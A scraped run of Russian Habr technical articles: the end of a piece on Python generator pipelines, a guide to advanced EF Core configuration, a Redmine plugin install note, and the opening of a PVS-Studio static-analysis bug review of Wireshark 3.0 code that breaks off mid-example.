* Это не только не медленно, но и на 10% быстрее, чем старый стиль
* Меньше кода
* Код относительно легко читается
* И, честно говоря, мне он нравится в целом больше
* Ни разу в нашем решении с генератором мы не создавали большие временные списки
* Таким образом, это решение не только быстрее, но и может применяться к огромным файлам с данными
* Подход конкурентоспособен с традиционными инструментами
Генераторное решение было основано на концепции конвейерной передачи данных между разными компонентами. Что, если бы у нас были более продвинутые виды компонентов для работы? Возможно, мы могли бы выполнять разные виды обработки, просто подключив различные компоненты друг за другом.
Концепт `yield from`
--------------------
'yield from' может использоваться для делегирования итерации
```
def countdown(n):
while n > 0:
yield n
n -= 1
def countup(stop):
n = 1
while n < stop:
yield n
n += 1
def up_and_down(n):
yield from countup(n)
yield from countdown(n)
>>> for x in up_and_down(3):
... print(x)
...
1
2
3
2
1
>>>
```
Также стоит упомянуть, что в более ранних версиях python (3.5 и ниже) `yield from` также использовался вместо `await`, пока `await` не стал новым ключевым зарезервированными словом, т.к. `await` — по сути, просто передача контекста управления внутри другой корутины. Чтобы не возлагать много ответственности на `yield from` и было придумано отдельное зарезервированное слово — `await`.
Маршрутизация данных на генераторах (мультиплексирование, броадкастинг)
-----------------------------------------------------------------------
Задача — считать логи в режиме реального времени из разных источников, и транслировать результат нескольким потребителям
На данной диаграмме видно, что нам потребуется мультиплексирование (всё в одно) и броадкастинг (одно во всё). Что ж, не будем томить и напишем сразу решение.
```
# same with `tail -f`
def follow(thefile):
thefile.seek(0, os.SEEK_END) # End-of-file
while True:
line = thefile.readline()
if not line:
time.sleep(0.1) # Sleep briefly
continue
yield line
def gen_cat(sources):
# В данном конкретном случае используется для распаковки вложенного списка в плоский
for src in sources:
yield from src
def genfrom_queue(thequeue):
while True:
item = thequeue.get()
if item is StopIteration:
break
yield item
def sendto_queue(source, thequeue):
for item in source:
thequeue.put(item)
thequeue.put(StopIteration)
def multiplex(sources):
in_q = queue.Queue()
consumers = []
for src in sources:
thr = threading.Thread(target=sendto_queue, args=(src, in_q))
thr.start()
consumers.append(genfrom_queue(in_q))
return gen_cat(consumers)
def broadcast(source, consumers):
for item in source:
for c in consumers:
c.send(item)
class Consumer(object):
def send(self,item):
print(self, "got", item)
if __name__ == '__main__':
c1 = Consumer()
c2 = Consumer()
c3 = Consumer()
log1 = follow(open("foo/access-log"))
log2 = follow(open("bar/access-log"))
log3 = follow(open("baz/access-log"))
lines = multiplex([log1, log2, log3])
broadcast(lines,[c1,c2,c3])
```
Как мы видим из этого примера — ничего сложного в этом нет, вполне легко можно решать самые разнообразные задачи.
Пример трейсинга генератора
---------------------------
Тут хотелось бы показать достаточно простой пример, если у тебя используется сотня генераторов и не понятно, в каком из них происходит сбой, например, с помощью принта.
```
def trace(source):
for item in source:
print(item)
yield item
lines = follow(open("access-log"))
log = trace(apache_log(lines))
r404 = trace(r for r in log if r['status'] == 404)
```
Как мы видим — такой дебаг генератор можно встроить в любой из генераторов, не изменяя его, получив необходимую информацию, например, выведя результат каждый итерации
Стандартные инструменты генераторы
----------------------------------
Генераторы встречаются повсюду в стандартной библиотеке. Начиная с 3.0 их стараются внедрять повсеместно. Например, `pathlib.Path.rglob`, `glob.iglob`, `os.walk`, `range`, `map`, `filter`. Есть даже целиком библиотека на генераторах — `itertools`.
Выводы
------
### Плюсы:
* Генераторы — невероятно полезный инструмент для решения многообразных проблем
* Сила исходит от способности настраивать пайплайны
* Можно создавать компоненты, которые можно переиспользовать в разных пайплайнах
* Небольшие компоненты, которые просто обрабатывают поток данных
* Намного проще, чем это может быть сделано с помощью ООП шаблонов
* Можно расширить идею пайплайнов во многих направлениях (сеть, потоки, корутины)
### Минусы
* Использование этого стиля программирования у непосвященных может привести к взрыву головы
* Обработка ошибок сложна, потому что у нас много компонентов, связанных вместе
* Необходимо уделять особое внимание отладке, надежности и другим вопросам.
Литература
----------
* <https://www.dabeaz.com/generators/>
* <https://www.dabeaz.com/generators/Generators.pdf> (основной источник)
* <https://wiki.python.org/moin/Generators> (см. Links)
* <https://www.oreilly.com/library/view/fluent-python/9781491946237/>
Итоги
=====
В ООП и ФП есть как свои плюсы, так и свои минусы. Например, на чистом ФП не напишешь красивый и выразительный код на Python, в котором можно легко разобраться, из-за чего преимущества Python сходят на нет. Однако, это не значит, что мы не можем использовать преимущества функционального подхода.
Как можно заметить, если мы пишем код на генераторах, то он получается вполне себе декларативным. Можно сказать, что код на генераторах — в некоторой степени ФП, так элегантно вошедший в Python.
Наша главная задача — писать ясный, понятный, красивый, тестируемый код и выбирать для этого подходящие инструменты. ФП — не самоцель, а лишь средство, как и всегда, чтобы мочь написать ещё лучший код!
Если нашли ошибки, пишите в телеграмме [Niccolum](https://habr.com/ru/users/niccolum/) или на почту lastsal@mail.ru. Буду рад конструктивной критике. | https://habr.com/ru/post/517438/ | null | ru | null |
# Расширенная наcтройка EF Core
Что нужно, чтобы начать пользоваться EF Core в .NET? Создать новый проект, добавить пакет с самим EF, добавить пакет с нужным провайдером, унаследовать `DbContext`, настроить его, указав строку подключения и провайдер, подготовить и подключить модель, создать миграции - не так уж много. Но по мере роста проекта и добавления новых механик, вы начнете выполнять все больше рутинной работы дублировать код из-за различных комбинаций фильтров запросов. А в какой-то момент у вас вообще может сложиться ощущение, что очередная задача невыполнима средствами EF.
В данной статье я расскажу о некоторых винтиках EF, которые можно пошевелить, чтобы работать с ним было чуть приятнее. Все, что я здесь затрону, буду начинать с задач, где-то с реальных, где то с абстрактных (но на реальных событиях). Вероятно, вы сразу вспомните, что сталкивались с чем-то подобным и статья поможет вам решить эти задачи иначе в следующий раз. А, возможно, вы напишите в комментариях, что решать это лучше иным способом. Очень надеюсь на предметную беседу в конце. Приступим.
PS задачи будут касаться веб сервисов и вся настройка будет производиться для ASP и коробочного IoC контейнера. Однако, так или иначе, сводиться она будет к работе с DbContextOptions, поэтому использовать это можно будет в любых ситуациях.
Генерация значений на стороне приложения
----------------------------------------
Что бы вы ни создавали в базе данных, вам, вероятно, захочется хранить время создания и обновления некоторых сущностей. Конечно, можно положиться в этом на СУБД, но в различных ситуациях вам может захотеться управлять формированием дат вручную. А может, это и не дата вовсе, а пользователь приложения, от имени которого создается сущность.
Я перечислю известные мне для этого способы (кроме толстых моделей и прямой установки значения, конечно, так как это отношения к EF не имеет). Наша цель - централизация и возможность переиспользования функционала.
1. Перегрузка `SaveChanges` и `SaveChangesAsync`. Потребуется пройтись по всем отредактированным и/или новым сущностям, определить принадлежность их определенному интерфейсу, например и изменить/задать значения нужных свойств. Из минусов я бы назвал необходимость инжектить в конструктор контекста(ов) базы данных сервисы, которые отдают нужные нам значения. В итоге конструктор нашего контекста начинает выглядеть как то так
```
public MyDbContext(DbContextOptions options,
IDateTimeService dateTimeService,
ICurrentCompanyAccessor currentCompanyAccessor,
IWheatherService wheatherService,
ISomeOtherService...)
```
Кроме того, переиспользовать такую конструкцию будет крайне сложно. Вам фактически придется копировать много кода из проекта в проект из контекста в контекст с последующей фильтрацией лишнего в конкретном контексте.
2. Использование `HasValueGenerator(...)`. Вы можете либо передать тип генератора (в том числе, в виде универсального аргумента), либо же передать лямбду-фабрику генераторов. Фабрика нужна, чтобы можно было в генераторе использовать аргументы конструктора. То есть ни о каком DI тут речи не идет. В целом, минусы тут те же, что и в первом способе.
3. Использование перехватчиков. Всего перехватчиков есть 4 вида, но мы поговорим об одном из них - перехватчике сохранения `ISaveChangesInterceptor`. Добавить перехватчики можно в одном из двух мест: в перегруженном методе контекста `OnConfiguring(DbContextOptionsBuilder optionsBuilder)` или в том месте, где вы регистрируете контекст через `AddDbContext`. Делается это через метод `DbContextOptionsBuilder.AddInterceptors(interceptors)`.
В данный метод нужно добавлять готовые экземпляры перехватчиков. На первый взгляд может показаться, что все зависимости перехватчиков опять уйдут в конструктор контекста, как в прошлых двух примерах, но это можно обойти.
Метод расширения `AddDbContext()` принимает лямбду с параметром типа `DbContextOptionsBuilder`. Но есть и перегрузка, которая принимает лямбду с двумя параметрами: `DbContextOptionsBuilder` и `IServiceProvider`. Возможно, вы этого не знали, но конфигурация (код этой лямбды) выполняется каждый раз при создании контекста базы. И сервис провайдер туда приходит из текущего скоупа. А значит, мы можем создать перехватчик, который будет резолвить остальные перехватчики и выполнять их.
Регистрация может выглядеть как-то так
```
services.AddScoped();
services.AddDbContext((sp, options) =>
{
options.UseInMemoryDatabase("dbName");
// Здесь перехватчики регистрируются по конкретной принадлежности
// (SaveChanges, например) потому что под капотом для каждого типа
// создается собственный декоратор, реализующий нужный интерфейс
// перехватчика.
options.RegisterSaveChangesInterceptors(sp, interceptorsRegistrar =>
{
interceptorsRegistrar.AddInterceptor();
});
});
```
Остальное можно подключить как библиотеку. "Остальное" должно включать в себя метод расширения для DbContextOptionsBuilder, регистратор перехватчиков и декораторы для нужных типов перехватчиков (я ограничился декоратором перехватчиков сохранения).
Конечно же, все вышеперечисленное мы никак не провернем, если будем работать через пул контекстов, потому что там контекст создается один раз и не имеет прямого доступа к скоупу. Надеюсь инжектить в контекст `IHttpContextAccessor` никому в голову не придет.
Использование хранимых процедур
-------------------------------
Если честно, я не сталкивался с необходимостью и не смог придумать кейса, когда нам может потребоваться функция для добавления / изменения данных, поэтому сосредоточимся на тех, что просто возвращают результат.
Некоторые скажут, что хранимые процедуры - это просачивание бизнес логики в СУБД, а значит является плохим тоном. Я же на это отвечу тем, что мы не перестаем пользоваться различными агрегатными функциями, вроде Min, Max, математическими функциями. Так почему бы нам не создать собственные, которые будут лишь выполнять нужные нам расчеты в отвязке от бизнес логики. Например, мало-ли для чего вам потребуется для целочисленного значения столбца вернуть число из ряда Фибоначчи, индекс которого равен нашему значению. Вероятно, для этого можно создать отдельный столбец и считать значение при сохранении на стороне клиента (клиента БД), но здесь, опять же, есть нюансы. Например, сохранение происходит слишком часто, а чтение очень редко.
Для решения задачи мы, конечно, можем вытянуть все данные из базы и произвести расчеты за пределами СУБД, ведь вычисление числа из ряда Фибоначчи в любом случае потенциально займет большую часть времени, нежели выгрузка данных, поэтому условно будем считать, что наша функция будет выполняться мгновенно, а именно вычисление числа Фибоначчи я привел просто для того, чтобы вы не сказали: "Так тут же просто формулу можно вставить в запрос, зачем городить функцию". Ведь вычисление числа Фибоначчи, все таки, алгоритмическая задача и формулой вы ее не замените.
Итак, мы создадим локальную функцию `int Fibonacci(int index)` и такую же в БД. Теперь нам надо, чтобы наш запрос на уровне EF, похожий на тот что ниже, транслировался в SQL.
```
context.MyEntities.Where(x => MyMath.Fibonacci(x.SomeProperty) < 100);
```
Это можно сделать двумя способами.
Самый простой - повесить над функцией атрибут `[DbFunction]`. Мне это не очень нравится, так как у нашей математической библиотеки появится зависимость от EF.
Второй способ
```
protected override void OnModelCreating(ModelBuilder modelBuilder)
{
modelBuilder.HasDbFunction(() => MyMath.Fibonacci(default));
}
```
Также, `HasDbFunction` может принять `MethodInfo`.
Очень просто. Есть и третий способ. Он несколько сложнее, но у него есть свои плюсы.
Создание расширений для EntityFramework Core
--------------------------------------------
Да, мы можем подключить функцию через расширение. Зачем нужны эти сложности? Например, потому, что мы можем таким образом отвязать нашу сборку с контекстом от нашей математической библиотеки, то есть сделать всю работу сбоку, а сборки с контекстом и математикой переиспользовать по отдельности в разных проектах.
Не знаю почему, но использование расширений из построителя настроек контекста скрыто, хоть и не запрещено.
```
public class DbContextOptionsBuilder : IDbContextOptionsBuilderInfrastructure
{
...
void IDbContextOptionsBuilderInfrastructure.AddOrUpdateExtension(
TExtension extension)
...
}
```
То есть подключить свое расширение мы можем как-то так
```
public static class ExtensionRegistrationExtensions
{
public static DbContextOptionsBuilder UseMyExtensions(this DbContextOptionsBuilder builder)
{
((IDbContextOptionsBuilderInfrastructure)builder)
.AddOrUpdateExtension(new MyEfExtension());
return builder;
}
}
```
Расширение обязательно должно реализовывать интерфейс `IDbContextOptionsExtension`.
```
public class MyEfExtension : IDbContextOptionsExtension
{
public void ApplyServices(IServiceCollection services)
{
}
public void Validate(IDbContextOptions options)
{
}
public DbContextOptionsExtensionInfo Info { get; }
}
```
Теперь разберем что у нас в этом интерфейсе содержится.
`ApplyServices(IServiceCollection services)` - здесь мы можем зарегистрировать сервисы. Однако, это внутренняя коллекция уровня EF. То есть на наше приложение в целом данные зависимости никак не повлияют. Мы можем зарегистрировать здесь сервисы, которые в дальнейшем можем использовать внутри контекста (`DbContext` дает доступ ко внутреннему `ServiceProvider`), однако, я не нашел этому применение. Зато, мы можем при помощи `EntityFrameworkRelationalServicesBuilder` прокинуть в зависимости некоторые плагины. Об этом чуть ниже.
`public void Validate(IDbContextOptions options)` - здесь мы можем проверить, что все настройки контекста позволяют правильно работать нашему расширению. Если это не так, мы должны выбросить исключение (или использовать иной механизм для остановки работы нашего расширения, во избежание не правильной работы EF с нашей БД. Если настройки на расширение никак не влияют, просто оставляем метод пустым.
`public DbContextOptionsExtensionInfo Info { get; }` - здесь нам надо вернуть указанный объект. Тип абстрактный, поэтому нужно его реализовать.
```
public class MyDbContextOptionsExtensionInfo : DbContextOptionsExtensionInfo
{
public MyDbContextOptionsExtensionInfo(IDbContextOptionsExtension extension) : base(extension)
{
}
public override int GetServiceProviderHashCode() => 0;
public override bool ShouldUseSameServiceProvider(DbContextOptionsExtensionInfo other) => true;
public override void PopulateDebugInfo(IDictionary debugInfo)
{
}
public override bool IsDatabaseProvider => false;
public override string LogFragment => "MyExtension";
}
```
Здесь я не стану перегружать вас описанием методов и свойств, вы можете просто скопировать код "как есть". При написании более сложных расширений или провайдеров, вам придется обратиться к документации от Microsoft, в данном же случае это не нужно. В конструктор объекта передайте само расширение (this), вы ведь создадите его в расширении.
А теперь вернемся к плагинам.
```
public void ApplyServices(IServiceCollection services)
{
new EntityFrameworkRelationalServicesBuilder(services).TryAddProviderSpecificServices(m =>
m.TryAddSingletonEnumerable());
}
```
Таким образом мы можем подключить собственные плагины. Я насчитал их 7 штук, но расскажу про 2.
`IMethodCallTranslatorPlugin` - позволяет подключить трансляторы методов.
`IMemberTranslatorPlugin` - позволяет подключить трансляторы других членов (например, свойств).
В этих плагинах подключаются трансляторы просто как коллекции.
```
public class MyMethodCallTranslatorPlugin : IMethodCallTranslatorPlugin
{
public IEnumerable Translators { get; } = new List
{
new MyMethodCallTranslator()
};
}
```
А вот что происходит в трансляторе методов.
```
public class MyMethodCallTranslator : IMethodCallTranslator
{
private MethodInfo _myMethod =
typeof(MyMath).GetMethod(nameof(MyMath.Fibonacci), BindingFlags.Public | BindingFlags.Static);
public SqlExpression? Translate(SqlExpression? instance, MethodInfo method, IReadOnlyList arguments,
IDiagnosticsLogger logger)
{
if (method == \_myMethod)
return new SqlFunctionExpression("Fibonacci", arguments, false, arguments.Select(\_ => false), typeof(int), null);
return null;
}
}
```
Я думаю, здесь особо нечего объяснять. Лучше расскажу, что я хотел провернуть при помощи плагинов, но потерпел неудачу.
Техлид на одном из проектов познакомил меня с библиотекой NSpecifications (реализация шаблона спецификации). В числе прочего, там был тип спецификаций, имеющий свойство типа `Expression>`. В общем предикат. Спецификация могла неявно приводиться к выражениям, что позволяло писать код таким образом
```
var mySpec = new Spec(x => x.Prop == 10);
var result = context.MyEntities.Where(mySpec);
```
Кроме этого, можно было использовать операторы и/или между спецификациями.
```
var olderThenTen = new Spec(x => x.Age > 10);
var ivans = new Spec(x => x.Name == "Ivan");
var result = context.Persons.Where(olderThenTen & ivans);
```
А еще, выражения компилировались, поэтому мы могли использовать спецификации не только в запросах к БД, но и при локальных выборках. Вероятно, вы сталкивались с ситуациями, когда в вашем коде то там то тут дублировались одни и те же выражения?
```
Expression> olderThenTen = x => x.Age > 10;
Expression> ivans = x => x.Name == "Ivan";
Expression> ivansOlderThenTen = x => x.Age > 10 && x.Name == "Ivan";
// а помимо этого у нас еще отдельно есть функция или лямбда
// для локального использования
Func olderThenTen = x => x.Age > 10;
```
Но с функциями, хотя бы, можно выполнять логические операции, чего напрямую не позволяют `Expressions`.
А еще, библиотека содержит некоторые методы расширения. Например, функция `bool Is(this T object, Spec specification)`.
```
var person = GetPerson();
var olderThenTen = new Spec(x => x.Age > 10);
if (person.Is(olderThenTen))
// some code here
```
Очень лаконично выглядит.
Как-то давно я делал методы расширения для `Expressions`, позволяющие выполнять логические операции, мержить и кое-что еще. `expression1.And(expression2)`. Были и готовые библиотеки, но они не содержали все необходимые мне методы. Да и реализованы были не очень, на мой взгляд. Поэтому я создал свои. На тот момент это позволило сильно продвинуться в динамическом построении запросов, а так же в составлении запросов из заранее подготовленных предикатов, основанных на бизнес логике. Это выглядело довольно просто, порог входа был низким, но... Кое что я тогда решить не смог. А именно, вставка выражения в выражение.
```
Expression> fromUsersOlderThenTen = g => g.Users.All(u => u.Age > 10);
```
Но у нас ведь уже есть предикат на пользователя старше 10 лет. И как его использовать? То есть у нас есть определенное бизнес правило, связанное с возрастом 10 лет. Если этот возраст когда-нибудь изменится на 11? Ну да, мы можем 10 вынести в константу или в настройки. А если добавится еще одно условие к этой категории людей? Например старше 10 лет и выше 150 см. Придется лазить по коду и менять. Есть шанс что-то где-то забыть. И тут появляется функция `Is(...)`.
```
Expression> fromUsersOlderThenTen = g => g.Users.All(u => u.Is(olderThanTen));
```
Вот! Теперь мы можем переиспользовать наши выражения (которые теперь спецификации)! Отлично! Но как скормить это EF? Он ведь не знает функцию Is. Более того, ее не нужно транслировать в функцию БД. Нам вообще не нужно как то по особому ее транслировать. Фактически, код выше эквивалентен коду еще выше :)
То есть нам нужно преобразовать выражение, удалив из нее использование функции Is, чтобы транслятор в SQL код мог транслировать выражение без лишних проволочек. Конечно, тут необходимо прогнать выражение через `ExpressionVisitor`, но в какой момент? Делать это с каждым запросом перед использованием в Where? Мне тогда эта идея не понравилась и я полез в исходники Ef Core, чтобы найти точку входа, где я могу перехватить оригинальное выражение до всех преобразований, сделанных EF. Но я не нашел. Я обратился к разработчикам EF. <https://github.com/dotnet/efcore/issues/27064>
Изначально мой вопрос заключался в том, как мне получить значения констант, в которые превращаются все параметры запросов. Я тогда хотел изменить выражение через PreProcessor. Но позже диалог привел к перехвату выражения, на что один из разработчиков ответил, что этого сделать нельзя.
> It seems to me that the issue has been discussed extensively and that what you are specifically asking for is not something that EF supports. If that's not the case, then can state your question again, as specifically as possible?
>
>
В итоге, я нашел способ, однако он подразумевает использование инструментов, помеченных как Internal API, которые в любой момент могут перестать быть публичными. Тем не менее, я хочу поделиться своей находкой.
У `DbContextOptionsBuilder` есть метод `ReplaceService()`. Это позволяет нам подменить реализацию внутреннего сервиса EF. Для подмены я выбрал `IQueryCompiler`. Исполнение запроса начинается именно с него. Конечно, свою реализацию я начал не с интерфейса, а с уже реализованного `QueryCompiler`, перегрузив метод `public override TResult ExecuteAsync(Expression query, CancellationToken cancellationToken = new CancellationToken())` .
В том, что этот сервис помечен как Internal API есть и плюс. Провайдеры не будут его заменять, а значит использовать этот способ можно с любым провайдером в текущей версии EF (6.0.3).
Перед тем, как отдать код на выполнение базовому компилятору, нам нужно прогнать выражение через наш `ExpressionVisitor`.
Для простоты использования, я создал библиотеку, которая позволяет подключать к EF собственные посетители выражений.
<https://github.com/HighTechnologiesCenter/EfCoreExtension>
Заключение
----------
К сожалению, я не охватил все возможности настройки EF Core, одной статьи для этого мало. Не уверен, что буду писать продолжение, поэтому здесь описал наиболее сложные (для меня), а так же меняющие представление о работе с EF возможности. | https://habr.com/ru/post/656769/ | null | ru | null |
# Простой, но полезный плагин для Redmine
Продолжаем улучшать быт системного администратора [своими](http://centos-admin.ru/) силами.
Часто бывает, что список активных задач в Redmine достаточно огромен. Однако, среди них есть много тех, которые невозможно выполнить в данный момент: либо ждем ответа клиента, либо выполнить можно только в согласованную дату и подобное.
С одной стороны, такие задачи можно перевести в статус «Заморожена», например. Они перестанут захламлять список актуальных задач, с одной стороны. С другой — появляется риск про них забыть. С целью не допустить подобного и был создан плагин redmine\_issue\_open\_date.
#### Установка и настройка.
Клонируем плагин из репозитория в папку с плагинами:
```
git clone https://github.com/centosadmin/redmine_issue_open_date /opt/redmine/plugins
```
Затем выполняем миграцию:
```
bundle exec rake redmine:plugins:migrate
```
И добававляем задачу в крон:
```
bundle exec whenever -i redmine_issue_open_date -f plugins/redmine_issue_open_date/config/schedule.rb
```
Если хотим отключить выполнение задачи, выполняем команду:
```
bundle exec whenever -c redmine_issue_open_date -f plugins/redmine_issue_open_date/config/schedule.rb
```
В настройках плагина можно определить какой статус определяет, что задача «Заморожена», а какой «Открыта».
После установки плагина, у нас в разделе параметров при обновлении задачи если поменять статус на тот, который соответствует «Заморожена», появляется поле «Открыть заново» с возможностью выбора даты.
#### Как это работает.
Все просто. В 00:01 текущего дня выполнится:
```
rake issue_open_date:switch
```
При этом, происходит выборка всех задач со статусом, соответствующим «Заморожена», дата открытия которых установлена на текущий день.
Для каждой подходящей по критерию задачи будет выставлен статус, соответствующий «Открыта».
А оповещение исполнителя или тимлида об открытой задаче у нас выполняет другой плагин, описанный в [предыдущей статье.](http://habrahabr.ru/company/centosadmin/blog/272051/)
Спасибо за внимание! | https://habr.com/ru/post/272623/ | null | ru | null |
# Wireshark 3.x: анализ кода под macOS и обзор ошибок
Wireshark Foundation выпустила финальную stable-версию популярного сетевого анализатора трафика — Wireshark 3.0.0. В новом релизе устранено несколько багов, реализована возможность анализа новых протоколов и заменен драйвер WinPcap на Npcap. Здесь заканчивается цитирование анонса и начинается наша заметка о багах в проекте. Перед релизом их было исправлено явно недостаточно. Давайте насобираем исправлений, чтобы был повод делать новый релиз :).
Введение
--------
[Wireshark](https://www.wireshark.org/) — это достаточно известный инструмент для захвата и анализа сетевого трафика. Программа работает с подавляющим большинством известных протоколов, имеет понятный и логичный графический интерфейс, мощнейшую систему фильтров. Wireshark — кроссплатформенный, работает в таких ОС, как: Windows, Linux, macOS, Solaris, FreeBSD, NetBSD и многих других.
Для поиска ошибок использовался статический анализатор [PVS-Studio](https://www.viva64.com/ru/pvs-studio/). Для анализа исходного кода необходимо предварительно скомпилировать проект в какой-нибудь операционной системе. Выбор был большой не только из-за кроссплатформенности проекта, но и из-за кроссплатформенности анализатора. Для анализа проекта я выбрал macOS. Также запуск анализатора возможен в Windows и Linux.
Про качество кода хочется рассказать отдельно. К сожалению, я не могу назвать его хорошим. Это субъективная оценка, но поскольку мы регулярно [проверяем](https://www.viva64.com/ru/inspections/) множество проектов, у меня есть с чем сравнивать. В данном случае в глаза бросается большое количество предупреждений PVS-Studio на небольшом объёме кода. Суммарно на этот проект выдано более 3500 предупреждений всех уровней. Это характерно для проектов, в которых вообще не используются инструменты статического анализа, даже бесплатные. Другим фактором, указывающим на качество проекта, являются повторяющиеся ошибки, выявленные анализатором. В статье однотипные примеры кода не будут приводиться, но некоторые одинаковые ошибки присутствуют в коде в сотне мест.
Ещё качества коду не добавляют и такие вставки:
```
/* Input file: packet-acse-template.c */
#line 1 "./asn1/acse/packet-acse-template.c"
```
Их встречается более 1000 во всём проекте. Такие вставки усложняют анализатору сопоставление выдаваемых предупреждений с нужным файлом. Но я уверен, что и обычные разработчики не получают удовольствия от поддержки такого кода.
Опечатки
--------
**Предупреждение 1**
V641 The size of the allocated memory buffer is not a multiple of the element size. mate\_setup.c 100
```
extern mate_cfg_gog* new_gogcfg(mate_config* mc, gchar* name) {
mate_cfg_gog* cfg = (mate_cfg_gog *)g_malloc(sizeof(mate_cfg_gop));
....
}
```
Есть структуры двух типов: *mate\_cfg\_gog* и *mate\_cfg\_gop*, они очень похожи, но не идентичны. Скорее всего, в этом фрагменте кода функции перепутали, что чревато потенциальными ошибками в программе во время обращения к памяти по указателю.
Ниже приведены фрагменты перепутанных структур данных:
```
typedef struct _mate_cfg_gog {
gchar* name;
GHashTable* items;
guint last_id;
GPtrArray* transforms;
LoAL* keys;
AVPL* extra;
float expiration;
gop_tree_mode_t gop_tree_mode;
gboolean show_times;
....
} mate_cfg_gog;
typedef struct _mate_cfg_gop {
gchar* name;
guint last_id;
GHashTable* items;
GPtrArray* transforms;
gchar* on_pdu;
AVPL* key;
AVPL* start;
AVPL* stop;
AVPL* extra;
float expiration;
float idle_timeout;
float lifetime;
gboolean drop_unassigned;
gop_pdu_tree_t pdu_tree_mode;
gboolean show_times;
....
} mate_cfg_gop;
```
**Предупреждение 2**
V519 The 'HDR\_TCP.dest\_port' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 495, 496. text\_import.c 496
```
void write_current_packet (void)
{
....
HDR_TCP.source_port =isOutbound ? g_htons(hdr_dest_port):g_htons(hdr_src_port);
HDR_TCP.dest_port = isOutbound ? g_htons(hdr_src_port) :g_htons(hdr_dest_port);
HDR_TCP.dest_port = g_htons(hdr_dest_port);
....
}
```
В последней строке безусловно перетирается только что вычисленное значение переменной *HDR\_TCP.dest\_port*.
Логические ошибки
-----------------
В этом разделе приведу несколько примеров ошибок в условных операторах, причём все они будут принципиально отличаться друг от друга.
**Предупреждение 1**
V547 Expression 'direction == 0' is always false. packet-adb.c 291
```
#define P2P_DIR_RECV 1
#define P2P_DIR_SENT 0
static void
save_command(....)
{
....
if ( service_data
&& service_data->remote_id == 0
&& direction == P2P_DIR_RECV) {
if (direction == P2P_DIR_SENT) {
service_data->remote_id = arg1; // unreachable code
} else {
service_data->remote_id = arg0;
}
....
}
....
}
```
Во внешнем условии переменная *direction* сравнивается с константой *P2P\_DIR\_RECV*. Запись выражений через оператор AND означает, что при достижении внутреннего условия значение переменной *direction* точно не будет равно другой константе *P2P\_DIR\_SENT*.
**Предупреждение 2**
V590 Consider inspecting the '(type == 0x1) || (type != 0x4)' expression. The expression is excessive or contains a misprint. packet-fcsb3.c 686
```
static int dissect_fc_sbccs (....)
{
....
else if ((type == FC_SBCCS_IU_CMD_HDR) ||
(type != FC_SBCCS_IU_CMD_DATA)) {
....
}
```
Ошибка этого фрагмента кода заключается в том, что результат условия зависит только от одного выражения:
```
(type != FC_SBCCS_IU_CMD_DATA)
```
**Предупреждение 3**
V590 Consider inspecting this expression. The expression is excessive or contains a misprint. snort-config.c 40
```
static char *skipWhiteSpace(char *source, int *accumulated_offset)
{
int offset = 0;
/* Skip any leading whitespace */
while (source[offset] != '\0' && source[offset] == ' ') {
offset++;
}
*accumulated_offset += offset;
return source + offset;
}
```
Результат условного оператора будет зависеть только от этой части выражения *(source[offset] == ' ')*. Проверка *(source[offset] != '\0')* является избыточной и её можно смело удалить. Это не является настоящей ошибкой, но избыточный код затрудняет чтение и понимание программы, поэтому лучше его упростить.
**Предупреждение 4**
V547 Expression 'eras\_pos != NULL' is always true. reedsolomon.c 659
```
int
eras_dec_rs(dtype data[NN], int eras_pos[NN-KK], int no_eras)
{
....
if(eras_pos != NULL){
for(i=0;i
```
Возможно, мы имеем дело с лишней проверкой, а возможно — с опечаткой, и в одном из if-ов должно проверяться совсем иное.
Странные ассерты
----------------
**Предупреждение 1**
V547 Expression 'sub\_dissectors != NULL' is always true. capture\_dissectors.c 129
```
void capture_dissector_add_uint(....)
{
....
sub_dissectors = (struct capture_dissector_table*)g_hash_table_lookup(....);
if (sub_dissectors == NULL) {
fprintf(stderr, "OOPS: Subdissector \"%s\" not found ... \n", name);
if (getenv("WIRESHARK_ABORT_ON_DISSECTOR_BUG") != NULL)
abort();
return;
}
g_assert(sub_dissectors != NULL); // <=
....
}
```
Проверка указателя в *g\_assert* в этом месте является лишней, так как указатель проверяется перед этим. Возможно, в этой функции раньше был только *g\_assert*, и его забыли удалить, но, возможно, тут следовало проверить какое-нибудь поле структуры.
**Предупреждение 2**
V547 Expression 'i < count' is always true. packet-netflow.c 10363
```
static int
dissect_v9_v10_template_fields(....)
{
....
count = tmplt_p->field_count[fields_type];
for(i=0; ifields\_p[fields\_type] != NULL) {
DISSECTOR\_ASSERT (i < count); // <=
tmplt\_p->fields\_p[fields\_type][i].type = type;
tmplt\_p->fields\_p[fields\_type][i].length = length;
tmplt\_p->fields\_p[fields\_type][i].pen = pen;
tmplt\_p->fields\_p[fields\_type][i].pen\_str = pen\_str;
if (length != VARIABLE\_LENGTH) {/
tmplt\_p->length += length;
}
}
....
}
....
}
```
Не совсем понятно, зачем в функции присутствует *assert*, который дублирует условие из цикла. Счётчик цикла в теле не изменяется.
Ошибки с указателями
--------------------
**Предупреждение 1**
V595 The 'si->conv' pointer was utilized before it was verified against nullptr. Check lines: 2135, 2144. packet-smb2.c 2135
```
static int
dissect_smb2_fid(....)
{
....
g_hash_table_insert(si->conv->fids, sfi, sfi); // <=
si->file = sfi;
if (si->saved) {
si->saved->file = sfi;
si->saved->policy_hnd = policy_hnd;
}
if (si->conv) { // <=
eo_file_info = (.... *)g_hash_table_lookup(si->conv->files,&policy_hnd);
....
}
....
}
```
Указатель *si->conv* разыменовывается на несколько строк ранее, чем проверяется, равен он нулю или нет.
**Предупреждение 2**
V774 The 'protos' pointer was used after the memory was released. packet-k12.c 311
```
static gboolean
k12_update_cb(void* r, char** err)
{
gchar** protos;
....
for (i = 0; i < num_protos; i++) {
if ( ! (h->handles[i] = find_dissector(protos[i])) ) {
h->handles[i] = data_handle;
h->handles[i+1] = NULL;
g_strfreev(protos);
*err = g_strdup_printf("Could not find dissector for: '%s'", protos[i]);
return FALSE;
}
}
....
}
```
*protos* — это массив строк. Во время обработки особой ситуации в программе, этот массив сначала очищается функцией *g\_strfreev*, а потом в сообщении о ошибке используется одна из строк этого массива. Скорее всего, эти строки в коде следует поменять местами:
```
*err = g_strdup_printf("Could not find dissector for: '%s'", protos[i]);
g_strfreev(protos);
```
Утечки памяти
-------------
V773 The 'ptmpstr' pointer was assigned values twice without releasing the memory. A memory leak is possible. idl2wrs.c 2436
```
static void parsetypedefunion(int pass)
{
char tmpstr[BASE_BUFFER_SIZE], *ptmpstr;
....
while(num_pointers--){
g_snprintf(tmpstr, BASE_BUFFER_SIZE, "%s_%s", ptmpstr, "unique");
